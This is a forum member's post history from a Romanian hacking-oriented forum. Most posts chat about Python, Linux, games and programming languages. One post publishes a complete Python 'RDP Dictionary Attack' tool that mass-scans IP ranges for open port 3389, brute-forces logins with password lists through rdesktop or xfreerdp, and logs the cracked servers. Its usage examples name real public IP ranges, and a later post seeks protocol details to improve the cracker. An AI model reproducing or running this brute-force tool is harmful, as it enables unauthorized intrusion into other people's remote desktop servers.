Jump to content

cmiN

Active Members
  • Posts

    1609
  • Joined

  • Last visited

  • Days Won

    27

Everything posted by cmiN

  1. Ti-am trimis mail cu rezolvarile. Mai e o metoda misto numita format prin care formatezi sirul prin argumente de pozitie si/sau argumente de tip keyword "{0} {1} multe {fructe}".format("ana", "are", fructe="mere") dar o sa ne detaliezi tu mai multe in urmatorul tutorial . Felicitari pentru tutoriale, aici nu e vorba de a atrage oameni sa invete Python sau sa le demonstreze cat de usor, viabil, practic si rezonabil este, ci sa le deschida ochii catre programare, algoritmica pornind cu o baza mai mult "donata" (datorita developerilor) fara a fi nevoiti sa treaca de acel test initial suprem prin care ori rezisti (si dovedesti a fi 100% apt) ori cedezi din primii pasi (vechile discutii C/C++ vs Py, etc.).
  2. Misto ar fi sa-i poti extinde raza si distanta ... te poti uita la tv din pat fara telecomanda.
  3. ^ Algoritmica nici nu se compara cu sqli sau cu ce mai faceti voi pentru a profita de greselile web programmerilor / adminilor. Ea este baza si viitorul, numai prin ea poti evolua consistent. On: R.I.P.
  4. cmiN

    Fun stuff

    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  5. cmiN

    Fun stuff

    http://www.youtube.com/watch?v=4EugAO1iOCg
  6. Desi dvd playerele din cate am inteles ruleaza un linux indiferent ca ard un dvd cu brasero sau k3b indiferent ca aleg udf, joilet sau w+l, indiferent de viteza de scriere, imi iese prost dvdul de fiecare data cu fisiere corupte, sunet busit, fara sa pot accesa toate cadrele, asta in cazul cel mai bun, uneori in aceleasi conditii nu pot citi nimic de pe acel disc si in windows nu a trebuit sa testez niciodata vreo setare ca asta si a mers intotdeauna din prima sa scrie totul cum trebuie si sa fie compatibil cu alte medii. Un alt aspect negativ e ca photoshopul exista si pe mac, iar pe linux nici pana acum cu wine nu reuseste sa se instaleze sau sa porneasca cum trebuie sau sa mearga cat de cat decent, iar inkscape sau gimp nu pot fi numite inca alternative ale acestuia. Daca fac mai multe fisiere, de diferite extensii, le ascund, le setez tot felul de atribute, apoi le plasez prin diferite locatii si il las pe daatdraqq sa se descurce cu find (fara locate) sa-mi gaseasca toate fisierele intre 1 si 4 kb cu proprietatea ca sunt ascunse ce ziceti mi le va gasi in timp util (pe xp din 3 clickuri si un enter e gata) sau va pleca in parc ? Lista poate continua, dar m-am mai adapatat (pppoe, utc/local+timezone, ntpd+conf, shell+grub2, kernel params pentru compatibilitate sata+ide, batai de cap cu xorg.conf la cuplarea unor anumite placi video chiar daca nu le utilizam, lipsa unor anumite servicii doar pentru ca nu apartineam ca utilizator grupului desi le instalasem de pe acelasi utilizator, drivere open source (batai de cap pentru activare) sau proprietare?, pe windows shrink/extend iese din prima in cateva secunde ... pe linux nu trebuie sa mai detaliez , nici acum nu am gasit o alternativa buna la everest ma refer rapid sa vad o temperatura nu sa stau sa iau toate detaliile cli si apoi sa-mi parsez si pana atunci poate s-a mai racit sau incalzit, nu-mi place screenshotul are delay sau delay de ala de utilizator pana dai save, etc). Un aspect practic pozitiv este ca imi merge sunetul prin front panel in linux si pe windows nu , ceea ce face diferenta intre a avea sonor sau nu, fiindca in spate nu mi se mai aude deloc. Altul ar fi ca ma conectez imediat la last.fm si ascult muzica moca .
  7. Cei de la Ubuntu spun ca respectiva distributie de linux a fost conceputa sa fie folosita mai usor decat un windows, singura problema sunt prejudecatile si conceptia gresita ale utilizatorului de rand care s-a nascut si a crescut cu windows. Caz real: Matusa mea nu prea are nicio treaba cu lumea IT, sistemele de operare, software si traieste in epoca facebook, i-am instalat recent pe laptop un backtrack, gaseste imediat scurtatura sus la browser, mess nu foloseste i-am lasat bookmarkuri catre webmessenger/meebo, daca vrea sa vada o poza un film ceva de pe stik il baga in port ii apare imediat pe desktop intra pe device si apoi da dublu click pe ce doreste, fara sa se streseze cu ce se va deschide sau daca va merge (eu nu stau cu grija ca baga iar vreun stik cu un autorun ce porneste un trojan si tot asa) de atunci nu mi-a mai spus niciodata ca ii merge pcul greu sau ca ii sacadeaza sau ca i se incarca greu sau ca nu stiu ce nu-i porneste. Intrebarea ar fi cum se fac bani (daca se fac) din softwareul liber (gpl) si daca pana la urma e bine sau nu (cu argumente + avantaje/dezavantaje) sa licentiezi aplicatii ce vor avea proprietari.
  8. ^ +1 pentru bookmarkul de pr0n pros din stanga sus
  9. Trebuie sa fiu celebritate ca sa nu mai fie privat paste-ul ?
  10. cmiN

    What next?

    O vrei hardcore ? Baga-te aici. P.S.: Sa ma anunti si pe mine cand te plictisesti.
  11. Atunci respect, eu nu mi-am permis sa pierd mai mult de 3-4 zile cu asa ceva si mi-am dat si eu seama ca trebuie sa parsezi frame buffere si nu un sir sau return code care sa-ti spuna in paralel care e situatia, micro$hit protocol. Succes cu clasa poate o publici intr-o zi sub lgpl.
  12. M-am referit ca nu conteaza limbajul atunci cand apar factori "prea obositori" comuni, am codat destule exemple de algoritmi cu complexitati destul de ciudate si-ntr-un limbaj compilat si unul interpretat si diferentele de timp sunt extrem de mici, singura care conteaza este complexitatea (si multi (programatori de carton) fac acelasi algoritm mai ineficient intr-un limbaj interpretat, fiindca nu cunosc ce sta la baza (in "interior") a ceea ce folosesc si de aici rezulta si imediata prejudecata ca "ar fi iesit mai rapid in C") oricum eu raman la si sustin ideea ca intotdeauna un limbaj compilat va fi mult mai rapid decat un limbaj interpretat, dar in cazul python (proiectul acesta) toata munca e preluata de partile "interioare" ale interpretorului si acelea sunt codate in C. Asa e m-am lasat batut, dar m-am lasat dupa ce am inteles cat de complicata e treaba si ca nu prea aveam cod reutilizabil acolo, o singura chestiuta de modificai se dadea peste cap totul iar sursele sunt in stransa legatura, nu poti lua asa pur si simplu coreul si sa trunchiezi de prin el sau sa folosesti niste functii de care ai nevoie pentru a stabili conexiunea si gata, ajungi in situatia in care iti pare rau ca ai facut atat "reverse" pe obfuscatiile alea si nu ai implementat protocolul de la 0. Daca aveam o astfel de biblioteca sau cunostiintele necesare incat sa inteleg perfect acele biblioteci open-source as fi scris codul pur C nu mi-e frica de un astfel de limbaj si nu-l consider mai greu, dar din moment ce abordarea e un esec nu se mai pune in discutie ce unealta va fi mai eficienta. Repet codul este pentru a ilustra si un alt punct de vedere al firelor de executie si ceva sincronizari pentru amatori, codul asta face orice numai sa sparga nu face . P.S.: Vreau sa vad si eu codul sursa a unui wrapper decent pentru rdp daca tot zici ca sunt cu sutele pe net.
  13. Aici e problema, ca ma folosesc de rdesktop, adica deschid la propriu clienti si le mai si apar ferestrele pe ecran (am optimizat cat de mult din parametri sa foloseasca cat mai putine resurse pentru realizarea conexiunii (rezolutie, calitatea culorii, compresii, etc.)). Aici C/C++ nu facea nicio diferenta (poate castiga cateva milisecunde) dar daca implementam protocolul manual (ceea ce mi se pare mai mult decat imposibil, m-am uitat si prin xrdplib (@ C) trebuie mai intai creata interfata, ntlmuri peste ntlmuri, tot felul de pachete non ascii trimise in moduri diferite, compatibilitate cu fiecare versiune a protocolului si sistemului de operare, etc) atunci cel care facea diferenta era INTERNETUL, cand faci programare in retea mai ales low level se recurge in "interior" la aceleasi headere si viteza aproape e aceeasi fiindca cum am mai spus cel care-si spune cuvantul este viteza conexiunii sau configuratia sistemului in sine. Cum spunea si benny din toate motivele care exista sau pot aparea in ineficienta scriptului 95% apartin abordarii, aceea ca ma folosesc de alt program pentru realizarea conexiunilor si prin telnet (remote) accesez un port local pentru a stabili daca combinatia user-pass a mers (+ false negative in cazul in care telnetul nu functioneaza, exista firewall, varii motive pentru depasirea timeoutului, instabilitate, etc.). In loc sa va bateti pe limbaje ati putea ajuta daca ar traduce cineva o parte din biblioteca care sta la baza rdpului sau implementarea protocolului (daca-l intelegeti sunteti zei) sau astia bosi cu C/C++ de ce nu izolati o parte din cod sa reduc acel rdesktop doar la partea de conexiune si analiza a pachetului returnat pentru stabilirea rezultatului (a mers sau nu) dar din pacate cred ca totul e pe baza de interfata si trebuie un regex pe return, cred.
  14. Daca se dovedea a fi eficient la partea de crack il tineam privat, dar asa ii fac publica sursa, poate il imbunatateste cineva sau invata ceva din el. E mai mult un wrapper si se foloseste de rdesktop, dar in teorie ar trebui sa sparga ceva (am testat pe niste servere cunoscute plasate printre altele si cu niste liste de parole decente si uneori le prindea alteori sarea peste ele in aproape aceleasi conditii locale). Alte nelamuriri vedeti sursa. #! /usr/bin/env python # RDP Dictionary Attack # 21.05.2012 cmiN # # THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY # I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM # # Connect with rdesktop, xfreerdp or something similar using # servers, users and passwords from files. # After checking if the port is opened, the wrapper opens a shell console # executing the client with data from input files. In the meantime # a local socket is accepting connections from the target and if the link # is established then the user and password for that server are a match. # # You need rdesktop/xfreerdp (sudo apt-get/yum/equo install rdesktop/freerdp). # On gentoo based systems use emerge to find and install the newest packages. # Contact: cmin764@yahoo/gmail.com from sys import argv, platform from threading import Thread, active_count, Lock from subprocess import Popen from socket import * # defaults THRD = 4 # how many threads for crack phase TOUT = 6.0 # timeout in seconds # get global host ip try: sock = socket(AF_INET, SOCK_STREAM) sock.connect(("www.google.com", 80)) # assuming google works except error as excp: # error from socket (timed out or invalid server) print "Check your internet connection: %s." % excp exit() else: HOST = sock.getsockname()[0] finally: sock.close() del sock PORT = 51337 # used for local listening # attack modes RDP1 = ["rdesktop", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}", "-g", "1x1", "-a", "8", "-x", "m", "-z", "-m", "{server}"] RDP2 = ["xfreerdp", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}", "-g", "1x1", "-a", "8", "-x", "m", "-z", "--no-motion", "{server}"] VERB = False # verbose METH = "r" # RDP1 USER = ["Administrator"] SAFE = True SWTC = True LIMT = None # attacks (test only, None -> unlimited) class Engine: """Main class used to find and crack servers with desired options. For more info see usage from the bottom of the script. It executes commands through subprocess and waits for replies within timeout. """ def __init__(self, threads, timeout, host, port, rdp1, rdp2, verbose, method, usr, safe, switch): """Copy global options and prepare the core.""" self.cli = True # activate print/stdout (set to False if a GUI is used) self.threads = threads self.timeout = timeout self.host = host self.port = port self.rdp1 = rdp1 self.rdp2 = rdp2 self.verbose = verbose self.sockets = dict() # D[x] = True if x is available otherwise False self.pos = list() # list with indexes (user, password, server, telnet) self.usr = usr self.pwd = None self.srv = None # set the command used for scanning if method == "x": self.command = self.rdp2 else: self.command = self.rdp1 # default: don't save self.working = None self.cracked = None self.good = list() # rdp servers self.delete = set() # dispose of cracked servers self.lock = Lock() # global printing thread synchronization self.sock_mutex = Lock() # for localhost socket use if "linux" in platform: self.null = open("/dev/null", "w") else: self.null = open("NUL", "w") self.safe = safe self.switch = switch def __del__(self): """Destructor.""" if hasattr(self.srv, "close"): self.srv.close() if hasattr(self.usr, "close"): self.usr.close() if self.pwd: self.pwd.close() if self.working: self.working.close() if self.cracked: self.cracked.close() for sock in self.sockets: sock.shutdown(SHUT_RDWR) sock.close() def generator(self, src, dest): """Just like grandpa's old mileage meter :].""" temp = "%d.%d.%d.%d" byte = 256 yield temp % tuple(src) # yield -> the beauty of python while (src != dest): # like return but continue src[3] += 1 if src[3] == byte: src[3] = 0 src[2] += 1 if src[2] == byte: src[2] = 0 src[1] += 1 if src[1] == byte: src[1] = 0 src[0] += 1 yield temp % tuple(src) def set_threads(self, threads): self.threads = threads def set_safe(self, safe): self.safe = safe def set_switch(self, switch): self.switch = switch def set_timeout(self, timeout): self.timeout = timeout def set_verbose(self, verbose): self.verbose = verbose def set_method(self, method): if method == "x": self.command = self.rdp2 else: self.command = self.rdp1 def set_usr(self, usr): """If this is called, then the users are taken from a file.""" self.usr = open(usr, "r") # do not use the generic one def set_pwd(self, pwd): """The file with passwords is mandatory.""" self.pwd = open(pwd, "r") def set_srv(self, srv): """Make a file object or range generator from argument.""" if srv.find("-") == -1: # not found -> not range self.srv = open(srv, "r") else: chunks = srv.split("-") src, dest = chunks[0].split("."), chunks[1].split(".") for i in xrange(4): src[i] = int(src[i]) dest[i] = int(dest[i]) self.srv = self.generator(src, dest) def set_working(self, working): """Save progress in scan phase.""" self.working = open(working, "a") # safe append def set_cracked(self, cracked): """Save progress in crack phase.""" self.cracked = open(cracked, "a") def scan_server(self, server): """Check if the rdp port is opened on the specified server.""" try: # create the socket and connect sock = socket(AF_INET, SOCK_STREAM) sock.connect((server, 3389)) except error: # timed out in most cases if self.verbose: self.lock.acquire() if self.cli: print "[-] %s [NO]" % server # only with -v self.lock.release() else: # good news everyone self.lock.acquire() if self.cli: print "[+] %s [OK]" % server self.good.append(server) if self.working: self.working.write(server + "\n") self.working.flush() self.lock.release() finally: sock.close() def scan(self): """Just like a port scanner for 3389.""" setdefaulttimeout(self.timeout / 10.0) # 10% for server in self.srv: while active_count() > self.threads * 16: pass # do not exceed number of threads if self.switch: # scan them # now call the method in a separate thread Thread(target=self.scan_server, args=[server.strip()]).start() else: # or skip the scan self.good.append(server.strip()) while active_count() > 1: pass # join all def acquire_sock(self): for sock, state in self.sockets.iteritems(): if state: # available self.sockets[sock] = False # use it return sock def release_sock(self, sock): self.sockets[sock] = True def crack_server(self, command): try: # get a server self.sock_mutex.acquire() sock = self.acquire_sock() self.sock_mutex.release() command[self.pos[3]] = command[self.pos[3]].format(port=sock.getsockname()[1]) child = Popen(command, stdout=self.null, stderr=self.null) # no wait sock.accept() # here is the big overhead except error as excp: # timed out if self.verbose: self.lock.acquire() if self.cli: print "[-] %s %s %s [NO]" % (command[self.pos[2]], command[self.pos[0]], command[self.pos[1]]) self.lock.release() else: # good news again show = "%s %s %s" % (command[self.pos[2]], command[self.pos[0]], command[self.pos[1]]) self.delete.add(command[self.pos[2]]) # cracked! no need to process again self.lock.acquire() if self.cli: print "[+] " + show + " [OK]" if self.cracked: self.cracked.write(show + "\n") self.cracked.flush() self.lock.release() finally: child.kill() # do not close it, instead release it for further use self.release_sock(sock) # O(1) and can't affect the same socket def crack(self): """For each user take each password and test them with each working server.""" goodLen = len(self.good) if goodLen == 0: if self.cli: print "[!] No servers to crack." return if self.safe: # avoid deadlocks or strange behavior self.set_threads(min(self.threads, goodLen)) users = [line.strip() for line in self.usr] passwords = [line.strip() for line in self.pwd] if self.cli: print "[i] Cracking %d hosts in %fs." % (goodLen, float(len(users)) * len(passwords) * goodLen * self.timeout / self.threads) setdefaulttimeout(self.timeout) # now use the real timeout # prepare the sockets for port in xrange(self.threads): sock = socket(AF_INET, SOCK_STREAM) sock.settimeout(self.timeout) sock.bind((self.host, self.port + port)) sock.listen(1) self.sockets[sock] = True # init command template command = self.command shellIndex = command.index("telnet {host} {port}") command[shellIndex] = command[shellIndex].format(host=self.host, port="{port}") self.pos = [command.index("{user}"), command.index("{password}"), command.index("{server}"), shellIndex] attacks = 0 for user in users: command[self.pos[0]] = user for password in passwords: command[self.pos[1]] = password for server in self.good: command[self.pos[2]] = server while active_count() > self.threads: pass # do not exceed number of threads attacks += 1 if LIMT and attacks > LIMT: if self.cli: print "[!] Limit reached, buy the script." return # now call the method in a separate thread Thread(target=self.crack_server, args=[command[:]]).start() for server in self.delete: # N^2 can be reduced to NlogN with set self.good.remove(server) # and also to N with index memorization self.delete.clear() while active_count() > 1: pass # join all def parse(): at = 1 params = list() while at < argc: if argv[at] in ("-h", "--help"): print usage exit() # do not start the process elif argv[at] in ("-v", "--verbose"): app.set_verbose(True) elif argv[at] in ("-t", "--threads"): at += 1 app.set_threads(int(argv[at])) elif argv[at] in ("-T", "--timeout"): at += 1 app.set_timeout(float(argv[at])) elif argv[at] in ("-m", "--method"): at += 1 app.set_method(argv[at]) elif argv[at] in ("-w", "--working"): at += 1 app.set_working(argv[at]) elif argv[at] in ("-c", "--cracked"): at += 1 app.set_cracked(argv[at]) elif argv[at] in ("-s", "--safe-off"): app.set_safe(False) elif argv[at] in ("-n", "--no-scan"): app.set_switch(False) else: if argv[at][0] == "-": raise Exception("Invalid option") params.append(argv[at]) at += 1 pLen = len(params) if pLen not in (2, 3): raise Exception("Invalid number of parameters") app.set_srv(params[-1]) app.set_pwd(params[-2]) if pLen == 3: app.set_usr(params[-3]) # same index as 0 def main(): try: if argc == 1: # show a message or start the GUI which is missing print "You should run: %s --help" % argv[0] exit() # or parse the arguments parse() # and start the scanner print "[i] Scan phase started." app.scan() # filter the input for working rdp servers print "[i] Crack phase started." app.crack() # crack them except Exception as excp: print "[x] Error: %s." % excp except KeyboardInterrupt: print "[!] Stopped." else: print "[i] Finished." if __name__ == "__main__": argc = len(argv) usage = """ Usage: {0} [options] [usr] pwd srv Options: -t, --threads <number> number of threads (parallel connections) -s, --safe-off by default the number of threads is reduced to the number of working servers if it's greater use this option to keep the number of threads -T, --timeout <seconds> waiting response time for each connection -m, --method <r/x> use [r]desktop or [x]freerdp -w, --working <file> file used to store servers with 3389 opened -c, --cracked <file> file used to store cracked servers -n, --no-scan skip scan phase asumming all servers are working rdps -v, --verbose show extra information (default off) -h, --help show this help Parameters: usr users file (default users: {1}) pwd passwords file srv servers file or range (abc.def.ghi.jkl-mno.pqr.stu.vwx) Examples: {0} -c cracked.txt passwords.txt 68.195.205.60-68.195.211.60 {0} -w good.txt --timeout 2 -s pass.txt 91.202.91.119-91.202.94.15 {0} -t 256 -T 5 -v -c cracked.txt -n users.txt pass.txt good.txt Users, passwords and working servers are loaded into memory. Be aware to not open a file for both read and write. More exactly do not use the same file name with `-w`/`-c` and `srv`. THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM Send bugs to cmin764@yahoo/gmail.com. """.format(argv[0], USER) app = Engine(THRD, TOUT, HOST, PORT, RDP1, RDP2, VERB, METH, USER, SAFE, SWTC) main() del app
  15. Pro: Schwarzenegger avea dreptate, "Mind over matter". Contra: The Bucket List.
  16. cmiN

    Propunere

    Jon, tu trebuie neaparat sa treci prin seria S.T.A.L.K.E.R. -> Shadow of Chernobyl, Clear Sky, Call of Pripyat. Daca ti-au placut ceva asemanator: Metro, Cryostasis si tot ce e de la THQ. Si seria Bioshok e frumoasa. Nu uita de Fallout (3, New Vegas) chiar daca pare mai mult rpg are si ceva elemente de fps. Un pur fps nu e niciodata frumos, trebuie sa contina si ceva rpg, poveste, dialog, emotii.
  17. Ai incercat sa traduci din pseudocod in C++ si sa-ti creezi structura de date de care ai nevoie pentru a stoca nodurile ? Ce ajutor mai mare de atat vrei, spune direct: "Platesc suma X pentru cel ce imi rezolva punctul b de la problema, mentionez ca nu stiu sa-l fac, nu am incercat sa fac ceva deoarece cunostintele mele sunt insuficiente si mi-e si sila sa incerc sa invat putin mai mult sa reusesc sa trec peste acest prag, de aceea vreau gata facut si raspund cu 'nu mi-a iesit' la toate intrebarile desi am avut sila imensa macar sa incerc, fiindca asa am fost invatat de mic sa traiesc in puf si sa am totul gata facut pe tava de la ceilalti." ca sa nu mai iasa atat offtopic si cat esti dispus sa platesti ?
  18. cmiN

    C++ help

    Prin programator de carton ma refeream la cel ce ia si foloseste din belsug clase si obiecte pentru orice (o bila alba ca nu reinventeaza roata) dar mai multe negre fiindca nu stie ce foloseste, nici nu are habar macar cum ar arata o schema a algoritmului. Asta se aplica la 90% din cazurile in care ca prim limbaj a fost ales Java. Oricum ei isi fac munca, stiu sa foloseasca unealta chiar daca nu stiu cum functioneaza, si-au luat banul si tot cei cu C si-o iau in bot. Daca tot va dati atata mari zei in C si socluri cine imi explica si mie libxrdp sau https://github.com/eby/rdesktop sau remake la el https://github.com/FreeRDP/FreeRDP ma intereseaza doar partea de socket cand se stabileste conexiunea si cand face handshake + verificare user-pass si interpretare reply, dand la o parte partea de X sau SSL. Nu ma trimiteti la documentatie fiindca aia e mai dubioasa, intortocheata si mai dificila decat protocolul in sine. Nu am dat asta la misto ci chiar ma intereseaza din motive personale.
  19. cmiN

    C++ help

    Sabayon e o treime python si doua treimi shell (in afara de kernel si coreuri din stage1) . Nu am nimic cu nimeni, dar imi placea cearta, ba chiar recomand sa se invete C apoi C++, intr-adevar el reprezinta baza, te invata sa fii econom si eficient apoi te diferentiaza de asa-zisii "programatori de carton" din java prin algoritmica (no offense).
  20. cmiN

    C++ help

    @phreak Cum iti explici ca sunt foarte multi oameni (si la google) ce prefera sa scrie C in Python prin Cython decat sa scrie direct si sa compileze ? Neme a vrut sa spuna ca is sanse mai mari sa i se deschida apetitul pentru programare si algoritmica daca foloseste mai intai o unealta mai usor de folosit ce nu necesita ditamai manualul pentru a face ceva rapid si practic. Te asigur eu ca cel mai usor mod de a face o interfata in C/C++ (totusi sa se vada si bine + compatibilitate) si fara sa-ti dai pumni in cap la sfarsit este sa alegi GTK/Qt si tot e mult mai greu decat Tkinterul. Totul pleaca de la ideea ca nu trebuie sa mai tii cont de ce aloci si cum aloci, iar totul fiind un obiect asta simplifica mult lucrurile la scara mai mare. On: box.com/cmiN vezi in /tutorials/C++
  21. Inteleapta decizie, softul trebuie lansat cu sursa libera si sa nu aiba proprietari. M-am uitat prin cod, arata bine, doar ca nu-s familiar cu VB si nu m-am prins care sunt sursele codate handmane de la 0 sau sunt toate inclusiv clasele in afara de formuri ?
  22. Ce amintiri (Mirror's Edge) ...
  23. Numai Dumnezeu are dreptul de a lua viata cuiva (exceptie facand legitima aparare atunci cand viata ta sau a altora e in joc), eu nu sunt de acord nici cu pedeapsa cu moartea. La cat de batuti erau cred ca isi invatasera lectia, "bag mana in foc" ca asta era prima abatere si nici ei nu au apucat sa manance vreun cartof din cei furati. Aveau toate motivele la inca o sansa chiar daca in cele din urma s-ar fi recurs la acelasi gest (a doua abatere).
×
×
  • Create New...